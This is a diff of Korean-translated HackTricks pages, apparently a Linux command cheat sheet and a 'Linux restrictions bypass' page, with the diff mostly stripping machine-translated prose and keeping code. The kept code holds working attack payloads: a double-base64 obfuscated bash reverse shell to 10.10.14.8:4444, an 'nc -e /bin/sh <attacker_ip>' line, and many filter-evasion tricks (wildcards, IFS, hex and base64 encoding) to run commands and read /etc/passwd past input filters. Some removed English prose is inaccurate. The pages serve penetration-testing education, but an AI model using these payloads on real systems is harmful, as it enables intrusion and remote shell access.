```bash
|
||||
grep -v pattern file
|
||||
```
|
||||
|
||||
### grep -n
|
||||
|
||||
`grep -n`은 검색된 라인의 줄 번호를 함께 출력하는 옵션입니다.
|
||||
|
||||
```bash
|
||||
grep -n pattern file
|
||||
```
|
||||
|
||||
### grep -l
|
||||
|
||||
`grep -l`은 패턴과 일치하는 파일의 이름만 출력하는 옵션입니다.
|
||||
|
||||
```bash
|
||||
grep -l pattern file
|
||||
```
|
||||
|
||||
### grep -c
|
||||
|
||||
`grep -c`는 패턴과 일치하는 라인의 개수를 출력하는 옵션입니다.
|
||||
|
||||
```bash
|
||||
grep -c pattern file
|
||||
```
|
||||
|
||||
### grep -A
|
||||
|
||||
`grep -A`는 패턴과 일치하는 라인 이후의 몇 줄을 출력하는 옵션입니다.
|
||||
|
||||
```bash
|
||||
grep -A num pattern file
|
||||
```
|
||||
|
||||
- `num`: 출력할 라인의 개수입니다.
|
||||
|
||||
### grep -B
|
||||
|
||||
`grep -B`는 패턴과 일치하는 라인 이전의 몇 줄을 출력하는 옵션입니다.
|
||||
|
||||
```bash
|
||||
grep -B num pattern file
|
||||
```
|
||||
|
||||
- `num`: 출력할 라인의 개수입니다.
|
||||
|
||||
### grep -C
|
||||
|
||||
`grep -C`는 패턴과 일치하는 라인 주변의 몇 줄을 출력하는 옵션입니다.
|
||||
|
||||
```bash
|
||||
grep -C num pattern file
|
||||
```
|
||||
|
||||
- `num`: 출력할 라인의 개수입니다.
|
||||
## 그렙스
|
||||
```bash
|
||||
#Extract emails from file
|
||||
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt
|
||||
|
@ -342,65 +252,6 @@ grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt
|
|||
egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt
|
||||
```
|
||||
## 찾기
|
||||
|
||||
The `find` command is used to search for files and directories in a specified location. It allows you to search based on various criteria such as file name, size, type, and modification time.
|
||||
|
||||
### Basic Usage
|
||||
|
||||
The basic syntax of the `find` command is as follows:
|
||||
|
||||
```
|
||||
find [path] [expression]
|
||||
```
|
||||
|
||||
- `[path]`: Specifies the directory or path where the search should be performed. If no path is specified, the current directory is used.
|
||||
- `[expression]`: Specifies the search criteria or conditions.
|
||||
|
||||
### Examples
|
||||
|
||||
1. Search for a file by name:
|
||||
|
||||
```
|
||||
find /path/to/directory -name "filename"
|
||||
```
|
||||
|
||||
This command will search for a file named "filename" in the specified directory.
|
||||
|
||||
2. Search for files by extension:
|
||||
|
||||
```
|
||||
find /path/to/directory -name "*.txt"
|
||||
```
|
||||
|
||||
This command will search for all files with the ".txt" extension in the specified directory.
|
||||
|
||||
3. Search for files by size:
|
||||
|
||||
```
|
||||
find /path/to/directory -size +1M
|
||||
```
|
||||
|
||||
This command will search for files larger than 1 megabyte in the specified directory.
|
||||
|
||||
4. Search for files by modification time:
|
||||
|
||||
```
|
||||
find /path/to/directory -mtime -7
|
||||
```
|
||||
|
||||
This command will search for files modified within the last 7 days in the specified directory.
|
||||
|
||||
5. Search for directories:
|
||||
|
||||
```
|
||||
find /path/to/directory -type d
|
||||
```
|
||||
|
||||
This command will search for directories in the specified directory.
|
||||
|
||||
### Conclusion
|
||||
|
||||
The `find` command is a powerful tool for searching files and directories in Linux. By using different search criteria, you can easily locate the desired files or directories.
|
||||
```bash
|
||||
# Find SUID set files.
|
||||
find / -perm /u=s -ls 2>/dev/null
|
||||
|
@ -430,37 +281,6 @@ find / -maxdepth 5 -type f -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /p
|
|||
find / -maxdepth 5 -type d -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
|
||||
```
|
||||
## Nmap 검색 도움말
|
||||
|
||||
Nmap은 네트워크 탐사 및 보안 감사 도구로 널리 사용됩니다. Nmap을 사용하여 네트워크에서 호스트 및 서비스를 검색할 수 있습니다. 다음은 Nmap을 사용하는 몇 가지 유용한 명령어입니다.
|
||||
|
||||
### 기본 사용법
|
||||
|
||||
- `nmap <target>`: 특정 대상에 대한 기본 Nmap 스캔을 실행합니다.
|
||||
- `nmap -p <port> <target>`: 특정 포트에 대한 Nmap 스캔을 실행합니다.
|
||||
- `nmap -p- <target>`: 모든 포트에 대한 Nmap 스캔을 실행합니다.
|
||||
- `nmap -sV <target>`: 서비스 및 버전 정보를 포함하여 Nmap 스캔을 실행합니다.
|
||||
- `nmap -A <target>`: OS 탐지, 서비스 및 버전 정보, 스크립트 스캔 등을 포함하여 Nmap 스캔을 실행합니다.
|
||||
|
||||
### 스캔 옵션
|
||||
|
||||
- `-p <port>`: 특정 포트를 스캔합니다.
|
||||
- `-p-`: 모든 포트를 스캔합니다.
|
||||
- `-sS`: TCP SYN 스캔을 사용하여 포트를 스캔합니다.
|
||||
- `-sU`: UDP 스캔을 사용하여 포트를 스캔합니다.
|
||||
- `-sV`: 서비스 및 버전 정보를 포함하여 스캔합니다.
|
||||
- `-O`: 호스트의 운영 체제를 탐지합니다.
|
||||
- `-A`: OS 탐지, 서비스 및 버전 정보, 스크립트 스캔 등을 포함하여 스캔합니다.
|
||||
|
||||
### 결과 해석
|
||||
|
||||
- `open`: 포트가 열려 있음을 나타냅니다.
|
||||
- `closed`: 포트가 닫혀 있음을 나타냅니다.
|
||||
- `filtered`: 포트가 필터링되어 있음을 나타냅니다.
|
||||
- `unfiltered`: 포트가 필터링되지 않음을 나타냅니다.
|
||||
- `open|filtered`: 포트가 열려 있거나 필터링되어 있음을 나타냅니다.
|
||||
- `closed|filtered`: 포트가 닫혀 있거나 필터링되어 있음을 나타냅니다.
|
||||
|
||||
Nmap은 다양한 옵션과 기능을 제공하므로 자세한 내용은 Nmap 문서를 참조하십시오.
|
||||
```bash
|
||||
#Nmap scripts ((default or version) and smb))
|
||||
nmap --script-help "(default or version) and *smb*"
|
||||
|
@ -469,101 +289,15 @@ nmap --script-help "(default or version) and smb)"
|
|||
```
|
||||
## Bash
|
||||
|
||||
Bash는 리눅스와 유닉스 시스템에서 가장 일반적으로 사용되는 셸입니다. 이 셸은 명령어를 실행하고 스크립트를 작성하는 데 사용됩니다. 다음은 Bash 셸에서 유용한 몇 가지 명령어입니다.
|
||||
|
||||
### 파일 및 디렉토리 작업
|
||||
|
||||
- `ls`: 현재 디렉토리의 파일 및 디렉토리 목록을 표시합니다.
|
||||
- `cd`: 디렉토리를 변경합니다.
|
||||
- `pwd`: 현재 작업 중인 디렉토리의 경로를 표시합니다.
|
||||
- `mkdir`: 새로운 디렉토리를 생성합니다.
|
||||
- `rm`: 파일 또는 디렉토리를 삭제합니다.
|
||||
- `cp`: 파일 또는 디렉토리를 복사합니다.
|
||||
- `mv`: 파일 또는 디렉토리를 이동하거나 이름을 변경합니다.
|
||||
|
||||
### 파일 내용 보기
|
||||
|
||||
- `cat`: 파일의 내용을 표시합니다.
|
||||
- `less`: 파일의 내용을 페이지 단위로 표시합니다.
|
||||
- `head`: 파일의 처음 몇 줄을 표시합니다.
|
||||
- `tail`: 파일의 마지막 몇 줄을 표시합니다.
|
||||
- `grep`: 파일에서 특정 패턴을 검색합니다.
|
||||
|
||||
### 프로세스 관리
|
||||
|
||||
- `ps`: 현재 실행 중인 프로세스 목록을 표시합니다.
|
||||
- `top`: 시스템의 현재 상태와 실행 중인 프로세스를 실시간으로 모니터링합니다.
|
||||
- `kill`: 프로세스를 종료합니다.
|
||||
|
||||
### 사용자 및 권한 관리
|
||||
|
||||
- `whoami`: 현재 사용자의 이름을 표시합니다.
|
||||
- `sudo`: 슈퍼 유저 권한으로 명령어를 실행합니다.
|
||||
- `chmod`: 파일 또는 디렉토리의 권한을 변경합니다.
|
||||
- `chown`: 파일 또는 디렉토리의 소유자를 변경합니다.
|
||||
|
||||
### 네트워크 관련
|
||||
|
||||
- `ping`: 호스트에 ICMP 패킷을 보내 응답을 확인합니다.
|
||||
- `ifconfig`: 네트워크 인터페이스의 정보를 표시합니다.
|
||||
- `netstat`: 네트워크 연결 및 라우팅 테이블 정보를 표시합니다.
|
||||
|
||||
이 명령어들은 Bash 셸에서 자주 사용되는 몇 가지 예시입니다. Bash에는 더 많은 명령어와 옵션이 있으며, `man` 명령어를 사용하여 자세한 정보를 확인할 수 있습니다.
|
||||
## 배시
|
||||
```bash
|
||||
#All bytes inside a file (except 0x20 and 0x00)
|
||||
for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done
|
||||
```
|
||||
## Iptables
|
||||
|
||||
Iptables는 Linux 시스템에서 방화벽을 구성하고 관리하는 데 사용되는 강력한 도구입니다. 이 도구를 사용하여 네트워크 트래픽을 제어하고 보안을 강화할 수 있습니다.
|
||||
|
||||
### Iptables 기본 명령어
|
||||
|
||||
- `iptables -L`: 현재 설정된 모든 규칙을 나열합니다.
|
||||
- `iptables -F`: 모든 규칙을 삭제합니다.
|
||||
- `iptables -P <chain> <policy>`: 특정 체인의 기본 정책을 설정합니다.
|
||||
- `iptables -A <chain> <rule>`: 특정 체인에 규칙을 추가합니다.
|
||||
- `iptables -D <chain> <rule>`: 특정 체인에서 규칙을 삭제합니다.
|
||||
|
||||
### Iptables 규칙 작성
|
||||
|
||||
Iptables 규칙은 다음과 같은 구조를 가지고 있습니다:
|
||||
|
||||
```
|
||||
iptables -A <chain> -p <protocol> --dport <port> -s <source> -d <destination> -j <action>
|
||||
```
|
||||
|
||||
- `<chain>`: 규칙이 적용될 체인 (INPUT, OUTPUT, FORWARD)
|
||||
- `<protocol>`: 트래픽에 적용될 프로토콜 (tcp, udp, icmp)
|
||||
- `<port>`: 트래픽이 전달될 포트 번호
|
||||
- `<source>`: 트래픽의 출발지 IP 주소 또는 네트워크
|
||||
- `<destination>`: 트래픽의 목적지 IP 주소 또는 네트워크
|
||||
- `<action>`: 규칙에 대한 액션 (ACCEPT, DROP, REJECT)
|
||||
|
||||
### Iptables 예제
|
||||
|
||||
다음은 Iptables를 사용하여 특정 포트에 대한 액세스를 제한하는 예제입니다:
|
||||
|
||||
```bash
|
||||
iptables -A INPUT -p tcp --dport 22 -j DROP
|
||||
```
|
||||
|
||||
위의 예제는 SSH 포트인 22번에 대한 액세스를 차단합니다.
|
||||
|
||||
```bash
|
||||
iptables -A INPUT -p tcp --dport 80 -s 192.168.0.0/24 -j ACCEPT
|
||||
```
|
||||
|
||||
위의 예제는 출발지 IP 주소가 192.168.0.0/24인 트래픽을 허용하는 동시에 포트 80으로 전달될 때만 허용합니다.
|
||||
|
||||
### Iptables 설정 저장
|
||||
|
||||
Iptables 설정을 영구적으로 유지하려면 설정을 저장해야 합니다. 이를 위해 다음 명령어를 사용할 수 있습니다:
|
||||
|
||||
- `iptables-save > /etc/iptables/rules.v4`: IPv4 규칙을 저장합니다.
|
||||
- `iptables-save > /etc/iptables/rules.v6`: IPv6 규칙을 저장합니다.
|
||||
|
||||
이렇게 하면 시스템이 재부팅되어도 설정이 유지됩니다.
|
||||
### iptables란 무엇인가요?
|
||||
iptables는 Linux 시스템에서 네트워크 트래픽을 제어하는 데 사용되는 유용한 도구입니다. 방화벽 규칙을 설정하고 관리하여 시스템의 보안을 강화하는 데 도움이 됩니다.
|
||||
```bash
|
||||
#Delete curent rules and chains
|
||||
iptables --flush
|
||||
|
@ -596,22 +330,22 @@ iptables -P OUTPUT ACCEPT
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)을 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 가장 고급스러운 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -1,48 +1,36 @@
|
|||
# Linux 제한 우회
|
||||
# 리눅스 제한 우회
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로**부터 **히어로**로 AWS 해킹을 배우세요!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
- **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
- **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
- **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 **가장 고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## 일반적인 제한 우회
|
||||
|
||||
### 리버스 쉘
|
||||
### 역쉘
|
||||
```bash
|
||||
# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time
|
||||
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
|
||||
# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
|
||||
```
|
||||
### 짧은 리버스 쉘
|
||||
|
||||
리버스 쉘은 원격 시스템에 접근하기 위해 사용되는 기술입니다. 일반적으로 명령어 쉘을 통해 원격 시스템에 명령을 전달하고 결과를 받아올 수 있습니다. 이를 통해 시스템을 제어하거나 정보를 수집할 수 있습니다.
|
||||
|
||||
리버스 쉘을 사용하는 가장 간단한 방법은 `nc` 명령어를 사용하는 것입니다. 다음은 리버스 쉘을 생성하는 명령어입니다.
|
||||
|
||||
```bash
|
||||
nc -e /bin/sh <attacker_ip> <port>
|
||||
```
|
||||
|
||||
위 명령어에서 `<attacker_ip>`는 공격자의 IP 주소를, `<port>`는 공격자가 수신 대기할 포트 번호를 나타냅니다. 이 명령어를 실행하면 공격자는 원격 시스템에 접근할 수 있게 됩니다.
|
||||
|
||||
리버스 쉘을 사용할 때는 주의해야 할 점이 있습니다. 공격자와 원격 시스템 사이의 통신은 암호화되지 않으므로, 중간에 누군가가 통신을 가로채거나 조작할 수 있습니다. 따라서 리버스 쉘을 사용할 때는 보안을 강화하기 위해 추가적인 조치를 취해야 합니다.
|
||||
### 짧은 Rev 쉘
|
||||
```bash
|
||||
#Trick from Dikline
|
||||
#Get a rev shell with
|
||||
|
@ -50,31 +38,7 @@ nc -e /bin/sh <attacker_ip> <port>
|
|||
#Then get the out of the rev shell executing inside of it:
|
||||
exec >&0
|
||||
```
|
||||
### 경로 우회 및 금지된 단어 우회
|
||||
|
||||
In some cases, when performing a penetration test or trying to exploit a system, you may encounter restrictions on certain paths or forbidden words that prevent you from executing certain commands or accessing specific files. In such situations, it is necessary to find alternative paths or bypass the restrictions to achieve your objectives.
|
||||
|
||||
#### Bypassing Restricted Paths
|
||||
|
||||
To bypass restricted paths, you can try the following techniques:
|
||||
|
||||
1. **Relative Paths**: Instead of using absolute paths, try using relative paths to access files or directories. For example, if the restricted path is `/home/user/secret/file.txt`, you can try accessing it using `../secret/file.txt`.
|
||||
|
||||
2. **Symbolic Links**: Symbolic links can be used to create shortcuts to files or directories. By creating a symbolic link to a restricted file or directory in a non-restricted location, you can access it through the symbolic link. For example, you can create a symbolic link using the `ln -s` command: `ln -s /restricted/file.txt /non-restricted/link.txt`.
|
||||
|
||||
3. **Environment Variables**: Environment variables can be used to define custom paths that can bypass restrictions. By setting an environment variable to a non-restricted path, you can access files or directories through that variable. For example, you can set an environment variable using the `export` command: `export MY_PATH=/non-restricted/`.
|
||||
|
||||
#### Bypassing Forbidden Words
|
||||
|
||||
To bypass forbidden words, you can try the following techniques:
|
||||
|
||||
1. **Alternative Commands**: Instead of using the forbidden command directly, try using alternative commands that achieve the same result. For example, if the command `rm` is forbidden, you can try using `unlink` or `del`.
|
||||
|
||||
2. **Command Substitution**: Command substitution allows you to execute a command within another command. By using command substitution, you can bypass forbidden words by indirectly executing the forbidden command. For example, you can use command substitution with the `echo` command: `$(echo forbidden_command)`.
|
||||
|
||||
3. **Character Substitution**: Character substitution involves replacing forbidden characters with similar characters that are allowed. For example, if the word `password` is forbidden, you can try using `p@ssw0rd` or `p4ssw0rd`.
|
||||
|
||||
Remember, when bypassing restrictions, it is important to exercise caution and ensure that your actions are legal and authorized.
|
||||
### 우회 경로 및 금지된 단어
|
||||
```bash
|
||||
# Question mark binary substitution
|
||||
/usr/bin/p?ng # /usr/bin/ping
|
||||
|
@ -129,31 +93,7 @@ mi # This will throw an error
|
|||
whoa # This will throw an error
|
||||
!-1!-2 # This will execute whoami
|
||||
```
|
||||
### 금지된 공백 우회하기
|
||||
|
||||
In some cases, when executing commands in a restricted environment, the use of spaces is forbidden. However, there are alternative ways to bypass this restriction and execute commands that contain spaces.
|
||||
|
||||
일부 경우에는 제한된 환경에서 명령을 실행할 때 공백 사용이 금지될 수 있습니다. 그러나 이 제한을 우회하고 공백을 포함하는 명령을 실행하는 대체 방법이 있습니다.
|
||||
|
||||
One method is to use the backslash character `\` before the space. This tells the shell to treat the space as a literal character and not as a delimiter.
|
||||
|
||||
하나의 방법은 공백 앞에 백슬래시 문자 `\`를 사용하는 것입니다. 이렇게 하면 쉘이 공백을 구분자가 아닌 리터럴 문자로 처리하도록 지시합니다.
|
||||
|
||||
For example, instead of typing `ls -l`, you would type `ls\ -l`.
|
||||
|
||||
예를 들어, `ls -l`을 입력하는 대신 `ls\ -l`을 입력합니다.
|
||||
|
||||
Another method is to enclose the command containing spaces within single quotes `'`. This prevents the shell from interpreting the spaces as delimiters.
|
||||
|
||||
다른 방법은 공백을 포함하는 명령을 작은따옴표 `'`로 둘러싸는 것입니다. 이렇게 하면 쉘이 공백을 구분자로 해석하지 않습니다.
|
||||
|
||||
For example, instead of typing `ls -l`, you would type `'ls -l'`.
|
||||
|
||||
예를 들어, `ls -l`을 입력하는 대신 `'ls -l'`을 입력합니다.
|
||||
|
||||
By using these techniques, you can bypass the restriction on using spaces and execute commands successfully in a restricted environment.
|
||||
|
||||
이러한 기술을 사용하여 공백 사용 제한을 우회하고 제한된 환경에서 명령을 성공적으로 실행할 수 있습니다.
|
||||
### 금지된 공백 우회
|
||||
```bash
|
||||
# {form}
|
||||
{cat,lol.txt} # cat lol.txt
|
||||
|
@ -186,109 +126,16 @@ g # These 4 lines will equal to ping
|
|||
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
|
||||
uname!-1\-a # This equals to uname -a
|
||||
```
|
||||
### 백슬래시와 슬래시 우회하기
|
||||
|
||||
Sometimes, when attempting to execute commands in a restricted environment, the use of backslashes or slashes may be blocked. However, there are alternative methods to bypass these restrictions.
|
||||
|
||||
#### Bypassing Backslashes
|
||||
|
||||
To bypass the restriction on backslashes, you can use the following techniques:
|
||||
|
||||
1. Use double quotes: By enclosing the command within double quotes, backslashes will be treated as literal characters and not as escape characters. For example:
|
||||
|
||||
```
|
||||
$ echo "This is a backslash: \\"
|
||||
```
|
||||
|
||||
2. Use the `printf` command: The `printf` command can be used to print the backslash character. For example:
|
||||
|
||||
```
|
||||
$ printf "\\"
|
||||
```
|
||||
|
||||
#### Bypassing Slashes
|
||||
|
||||
To bypass the restriction on slashes, you can use the following techniques:
|
||||
|
||||
1. Use alternative separators: Instead of using slashes, you can use alternative separators such as colons or semicolons. For example:
|
||||
|
||||
```
|
||||
$ echo "This is a slash: /"
|
||||
$ echo "This is a colon: :"
|
||||
$ echo "This is a semicolon: ;"
|
||||
```
|
||||
|
||||
2. Use the `printf` command: Similar to bypassing backslashes, you can use the `printf` command to print the slash character. For example:
|
||||
|
||||
```
|
||||
$ printf "/"
|
||||
```
|
||||
|
||||
By employing these techniques, you can bypass the restrictions on backslashes and slashes, allowing you to execute commands in a restricted environment.
|
||||
### 역슬래시 및 슬래시 우회
|
||||
```bash
|
||||
cat ${HOME:0:1}etc${HOME:0:1}passwd
|
||||
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
|
||||
```
|
||||
### 파이프 우회
|
||||
|
||||
Pipes는 리눅스 명령어에서 매우 유용한 기능입니다. 그러나 일부 제한된 환경에서는 파이프를 사용할 수 없을 수 있습니다. 이러한 경우에는 다른 방법을 사용하여 파이프를 우회해야 합니다.
|
||||
|
||||
#### 1. Process Substitution 사용하기
|
||||
|
||||
Process Substitution은 파이프를 사용하지 않고도 명령어의 출력을 다른 명령어로 전달하는 방법입니다. 다음은 Process Substitution을 사용하여 파이프를 우회하는 예시입니다.
|
||||
|
||||
```bash
|
||||
command1 <(command2)
|
||||
```
|
||||
|
||||
위의 예시에서 `command2`의 출력은 파일처럼 취급되어 `command1`에 전달됩니다.
|
||||
|
||||
#### 2. Temporary File 사용하기
|
||||
|
||||
파이프를 우회하는 또 다른 방법은 임시 파일을 사용하는 것입니다. 다음은 임시 파일을 사용하여 파이프를 우회하는 예시입니다.
|
||||
|
||||
```bash
|
||||
command1 > temp_file && command2 < temp_file && rm temp_file
|
||||
```
|
||||
|
||||
위의 예시에서 `command1`의 출력은 `temp_file`에 저장되고, `command2`는 `temp_file`을 입력으로 받습니다. 마지막으로 `temp_file`을 삭제합니다.
|
||||
|
||||
#### 3. Command Substitution 사용하기
|
||||
|
||||
Command Substitution은 명령어의 출력을 변수에 할당하는 방법입니다. 이를 사용하여 파이프를 우회할 수 있습니다. 다음은 Command Substitution을 사용하여 파이프를 우회하는 예시입니다.
|
||||
|
||||
```bash
|
||||
variable=$(command1); command2 <<< "$variable"
|
||||
```
|
||||
|
||||
위의 예시에서 `command1`의 출력은 `variable`에 할당되고, `command2`는 `variable`을 입력으로 받습니다.
|
||||
|
||||
#### 4. Named Pipes 사용하기
|
||||
|
||||
Named Pipes는 파일처럼 취급되지만 실제로는 프로세스 간 통신을 위한 파이프입니다. 다음은 Named Pipes를 사용하여 파이프를 우회하는 예시입니다.
|
||||
|
||||
```bash
|
||||
mkfifo mypipe
|
||||
command1 < mypipe & command2 > mypipe
|
||||
```
|
||||
|
||||
위의 예시에서 `command1`은 `mypipe`로부터 입력을 받고, `command2`는 `mypipe`로 출력을 전달합니다.
|
||||
|
||||
이러한 방법들을 사용하여 파이프를 우회할 수 있으며, 제한된 환경에서도 명령어 간 데이터 전달을 수행할 수 있습니다.
|
||||
```bash
|
||||
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
|
||||
```
|
||||
### 16진수 인코딩을 사용하여 우회하기
|
||||
|
||||
Bash 제한을 우회하기 위해 16진수 인코딩을 사용할 수 있습니다. 이를 통해 특수 문자를 우회하고 원하는 명령을 실행할 수 있습니다.
|
||||
|
||||
다음은 16진수 인코딩을 사용하여 Bash 제한을 우회하는 방법입니다.
|
||||
|
||||
1. 우회하려는 명령을 16진수로 인코딩합니다. 예를 들어, `ls -la` 명령을 인코딩하면 `6c73202d6c61`가 됩니다.
|
||||
|
||||
2. 인코딩된 명령을 `$'\x'`와 함께 사용하여 실행합니다. 예를 들어, `echo -e $'\x6c\x73\x20\x2d\x6c\x61'` 명령을 실행하면 `ls -la`와 동일한 결과를 얻을 수 있습니다.
|
||||
|
||||
이렇게 하면 Bash 제한을 우회하여 원하는 명령을 실행할 수 있습니다. 그러나 이 방법은 명령을 인코딩해야 하므로 번거로울 수 있습니다.
|
||||
```bash
|
||||
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
|
||||
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
|
||||
|
@ -299,43 +146,15 @@ xxd -r -ps <(echo 2f6574632f706173737764)
|
|||
cat `xxd -r -ps <(echo 2f6574632f706173737764)`
|
||||
```
|
||||
### IP 우회
|
||||
|
||||
Sometimes during a penetration test, you may encounter restrictions that block your IP address. In such cases, you can try bypassing these restrictions using various techniques. Here are a few methods you can use:
|
||||
|
||||
#### 1. Proxy Servers
|
